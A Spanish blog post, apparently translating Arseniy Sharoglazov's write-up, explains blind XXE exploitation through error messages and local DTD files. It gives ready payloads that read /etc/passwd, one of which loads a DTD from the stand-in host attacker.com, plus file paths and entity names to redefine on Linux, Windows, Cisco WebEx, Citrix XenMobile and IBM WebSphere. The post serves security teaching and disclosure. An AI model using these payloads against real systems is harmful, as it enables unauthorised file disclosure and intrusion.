Explotando XXE con archivos DTD locales

Arseniy Sharoglazov ha ideado una técnica para explotar XXE mediante archivos DTD locales.
Imaginemos que tenemos un XXE. Se soportan External entities pero la respuesta del servidor está siempre vacía. En este caso tenemos dos opciones: explotación basada en error o out-of-band. 

Veamos un ejemplo basado en error:

 Petición
<?xml version="1.0" ?>
<!DOCTYPE message [
    <!ENTITY % ext SYSTEM "http://attacker.com/ext.dtd">
    %ext;
]>
<message></message>

Respuesta
java.io.FileNotFoundException: /nonexistent/
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/usr/bin/nologin
daemon:x:2:2:daemon:/:/usr/bin/nologin

(No such file or directory)

Contenidos de ext.dtd
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;

Como veis estamos utilizando un servidor externo para la entrega del payload.

¿Qué podemos hacer si hay un firewall entre nosotros y el servidor de destino? ¡Nada! Pero, ¿qué pasa si simplemente colocamos el contenido del DTD externo directamente en el DOCTYPE?

Siempre aparecerán algunos errores:

Petición
<?xml version="1.0" ?>
<!DOCTYPE message [
    <!ENTITY % file SYSTEM "file:///etc/passwd">
    <!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
    %eval;
    %error;
]>
<message></message>

Respuesta
Internal Error: SAX Parser Error. Detail:
The parameter entity reference “%file;” cannot occur within markup in the internal subset of the DTD.

La DTD externa nos permite incluir una entidad dentro de la segunda, pero está prohibida en la DTD interna.

¿Qué podemos hacer entonces con la DTD interna? 

Para usar la sintaxis de la DTD externa en el subconjunto de la DTD, podemos hacer fuerza bruta a un archivo dtd local en el host de destino y redefinir algunas referencias de entidades de parámetros dentro de él:

Petición
<?xml version="1.0" ?>
<!DOCTYPE message [
    <!ENTITY % local_dtd SYSTEM "file:///opt/IBM/WebSphere/AppServer/properties/sip-app_1_0.dtd">

    <!ENTITY % condition 'aaa)>
        <!ENTITY % file SYSTEM "file:///etc/passwd">
        <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
        %eval;
        %error;
        <!ELEMENT aa (bb'>

    %local_dtd;
]>
<message>any text</message>

Respuesta
java.io.FileNotFoundException: /nonexistent/
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/usr/bin/nologin
daemon:x:2:2:daemon:/:/usr/bin/nologin

(No such file or directory)

Contenidos de sip-app_1_0.dtd
…
<!ENTITY % condition "and | or | not | equal | contains | exists | subdomain-of">
<!ELEMENT pattern (%condition;)>
…

Funciona porque todas las entidades XML son constantes. Si definimos dos entidades con el mismo nombre, solo se utilizará la primera.

¿Cómo podemos encontrar un archivo dtd local? 

Nada es más fácil que enumerar archivos y directorios. A continuación hay algunos ejemplos más de aplicaciones con las que se ha tenido éxito usando este truco:

Sistema Linux 
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamsa 'Your DTD code'>
%local_dtd;

Sistema Windows
<!ENTITY % local_dtd SYSTEM "file:///C:\Windows\System32\wbem\xml\cim20.dtd">
<!ENTITY % SuperClass '>Your DTD code<!ENTITY test "test"'>
%local_dtd;
Ruta del dtd en Windows gracias a @Mike_n1 de Positive Technologies

Cisco WebEx
<!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/scrollkeeper/dtds/scrollkeeper-omf.dtd">
<!ENTITY % url.attribute.set '>Your DTD code<!ENTITY test "test"'>
%local_dtd;

Citrix XenMobile Server
<!ENTITY % local_dtd SYSTEM "jar:file:///opt/sas/sw/tomcat/shared/lib/jsp-api.jar!/javax/servlet/jsp/resources/jspxml.dtd">
<!ENTITY % Body '>Your DTD code<!ENTITY test "test"'>
%local_dtd;

IBM WebSphere multiplataforma
<!ENTITY % local_dtd SYSTEM "./../../properties/schemas/j2ee/XMLSchema.dtd">
<!ENTITY % xs-datatypes 'Your DTD code'>
<!ENTITY % simpleType "a">
<!ENTITY % restriction "b">
<!ENTITY % boolean "(c)">
<!ENTITY % URIref "CDATA">
<!ENTITY % XPathExpr "CDATA">
<!ENTITY % QName "NMTOKEN">
<!ENTITY % NCName "NMTOKEN">
<!ENTITY % nonNegativeInteger "NMTOKEN">
%local_dtd;

Timeline
01/01/2016 — Descubrimiento de la técnica
12/12/2018 — Desarrollo del artículo :D
13/12/2018 — Full disclosure

Fuentehttps://mohemiv.com/all/exploiting-xxe-with-local-dtd-files/

Comentarios